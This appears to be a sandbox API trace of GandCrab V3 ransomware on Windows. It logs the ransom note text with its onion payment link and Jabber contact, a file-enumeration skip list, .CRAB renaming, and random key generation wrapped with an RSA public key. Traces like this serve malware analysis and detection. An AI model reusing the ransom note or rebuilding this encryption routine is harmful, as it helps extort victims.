	[0111.093] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0111.093] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0111.093] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0111.093] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.093] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\\\CRAB-DECRYPT.txt") returned 76
	[0111.093] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\crypto\\rsa\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0111.095] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0111.095] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0111.095] CloseHandle (hObject=0x3f4) returned 1
	[0111.096] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.096] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\") returned 59
	[0111.096] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*"
	[0111.096] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0xda7370
	[0111.096] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0111.096] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.096] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0111.096] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0111.096] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.096] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0111.096] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0111.096] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\CRAB-DECRYPT.txt"
	[0111.096] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.097] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\CRAB-DECRYPT.txt") returned 75
	[0111.097] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\CRAB-DECRYPT.txt") returned 75
	[0111.097] lstrlenW (lpString=".txt") returned 4
	[0111.097] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.097] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0111.097] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.097] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\CRAB-DECRYPT.txt") returned 75
	[0111.097] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\CRAB-DECRYPT.txt") returned 75
	[0111.097] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0111.097] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0111.097] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0111.097] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0111.097] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0111.097] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0111.097] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0111.097] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0111.098] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0111.098] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.098] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.098] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2=".") returned 1
	[0111.098] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="..") returned 1
	[0111.098] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", lpString2="S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000"
	[0111.098] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\"
	[0111.098] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.098] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0111.098] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0111.098] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0111.098] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0111.098] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.099] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149f70, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0111.099] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0111.099] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0111.099] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149758, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0111.099] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0111.099] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0111.099] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.099] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\\\CRAB-DECRYPT.txt") returned 122
	[0111.099] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1462094071-1423818996-289466292-1000\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0111.117] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0111.117] WriteFile (in: hFile=0x3f8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3149f54, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3149f54*=0xcce, lpOverlapped=0x0) returned 1
	[0111.118] CloseHandle (hObject=0x3f8) returned 1
	[0111.118] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.119] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned 105
	[0111.119] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\*"
	[0111.119] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\*", lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0xda7070
	[0111.119] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0111.119] FindNextFileW (in: hFindFile=0xda7070, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0111.119] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0111.119] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0111.119] FindNextFileW (in: hFindFile=0xda7070, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0111.119] lstrcmpW (lpString1="46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2=".") returned 1
	[0111.119] lstrcmpW (lpString1="46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="..") returned 1
	[0111.119] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b"
	[0111.119] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.120] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned 174
	[0111.120] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned 174
	[0111.120] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned 174
	[0111.120] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned 174
	[0111.120] lstrcmpiW (lpString1="46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="desktop.ini") returned -1
	[0111.120] lstrcmpiW (lpString1="46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="autorun.inf") returned -1
	[0111.120] lstrcmpiW (lpString1="46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="ntuser.dat") returned -1
	[0111.120] lstrcmpiW (lpString1="46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="iconcache.db") returned -1
	[0111.120] lstrcmpiW (lpString1="46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="bootsect.bak") returned -1
	[0111.120] lstrcmpiW (lpString1="46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="boot.ini") returned -1
	[0111.120] lstrcmpiW (lpString1="46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="ntuser.dat.log") returned -1
	[0111.120] lstrcmpiW (lpString1="46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="thumbs.db") returned -1
	[0111.120] lstrcmpiW (lpString1="46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="CRAB-DECRYPT.txt") returned -1
	[0111.120] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.120] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b.CRAB") returned 179
	[0111.120] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b")) returned 0x24
	[0111.121] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b", dwFileAttributes=0x24) returned 1
	[0111.121] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b.crab")) returned 1
	[0111.122] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0111.122] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b.CRAB"
	[0111.122] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b.CRAB.CRAB"
	[0111.122] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0111.123] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0111.123] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0111.123] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0111.123] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0111.123] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0111.123] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.123] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6eb78) returned 1
	[0111.123] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0111.124] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0111.124] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0111.124] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0111.124] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0111.124] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.124] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0111.125] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0111.125] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e9e0) returned 1
	[0111.125] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xda6cf0) returned 1
	[0111.125] CryptGetKeyParam (in: hKey=0xda6cf0, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0111.125] CryptEncrypt (in: hKey=0xda6cf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0111.126] GetLastError () returned 0x0
	[0111.126] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0111.126] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6ed98) returned 1
	[0111.126] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xda6ff0) returned 1
	[0111.126] CryptGetKeyParam (in: hKey=0xda6ff0, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0111.126] CryptEncrypt (in: hKey=0xda6ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0111.127] GetLastError () returned 0x0
	[0111.127] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0111.127] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0111.127] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0111.127] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
